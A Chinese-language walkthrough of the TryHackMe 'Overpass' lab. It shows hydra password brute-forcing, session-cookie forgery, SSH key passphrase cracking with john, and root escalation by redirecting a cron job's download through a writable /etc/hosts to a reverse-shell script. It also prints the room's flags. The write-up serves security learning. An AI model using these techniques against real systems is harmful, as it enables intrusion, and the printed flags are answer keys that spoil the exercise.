打靶记录(十)之THMOverpass
端口扫描
Nmap扫描还是得多扫几次,第一次扫出来没有结果
Web
打开看了一下,大概是一个密码管理软件?说密码复用什么7788的
Gobuster爆破一下目录,我们再随便翻一下有没有什么有用的信息
在AboutUs界面
能找到他们工作人员的名字,可能可以当做用户名,记录一下
Ninja - Lead Developer
Pars - Shibe Enthusiast and Emotional Support Animal Manager
Szymex - Head Of Security
Bee - Chief Drinking Water Coordinator
MuirlandOracle - Cryptography Consultant
在/admin可以找他们的后台,那就试着用Ninja当用户名爆破一下密码
hydra -l Ninja -P /usr/share/wordlists/rockyou.txt 10.10.226.91 http-post-form "/api/login:username=^USER^&password=^PASS^:Incorrect Credentials" |
没有什么结果,看了一下WP
我们注意到一个login.js文件,他对登陆的认证是如果statusOrCookie的值是Incorrect,那就不能登陆,如果成功,那就将SessionToken设置为“statusOrCookie”,那就试着自己伪造一个SessionToken
然后刷新界面我们就进了管理员界面,用户名是James
Getshell
发现他给了一个ssh的私钥给我们,也就意味着我们能够利用这个来进行ssh登录
将“BEGIN”开始到“END”存到一个文件
ssh2john ssh >key.txt |
将私钥转成用于爆破的hash格式
再
john --wordlist=/usr/share/wordlists/rockyou.txt key.txt |
密码为james13(这里的密码不是Linux用户的密码,而是这个私钥的密码)
现将私钥的权限改为可用
chmod 600 ssh |
ssh -i ssh james@10.10.226.91 |
然后输入爆破获得的密码
在/home/james目录找到user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
提权
sudo -l 不太行
看一下计划任务
cat /etc/crontab
发现以root身份来访问overpass.thm/downloads/src/buildscript.sh,并将结果传给bash运行
一开始我想的是更改buildscript.sh来建立反向shell,但是locate不到这个文件,看了下WP,学到了新思路
我们可以看到/etc/hosts是可写的,那也就可以把overpass.thm对应的IP改成kaliopenvpn的IP,然后在本地写一个反向shell就行了
我是在桌面打开一个python服务器,所以在桌面新建
开启nc监听
在本地开一个Python服务器
sudo python3 -m http.server 80 |
然后等待计划任务执行就好了
成功接收shell
root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
碎碎念
Web表单登陆除了后端验证密码还有可能前端JS来验证(当然应该比较少),这个提权方式也是第一次见,总的来说还是挺简单的一个房间,涨了些见识。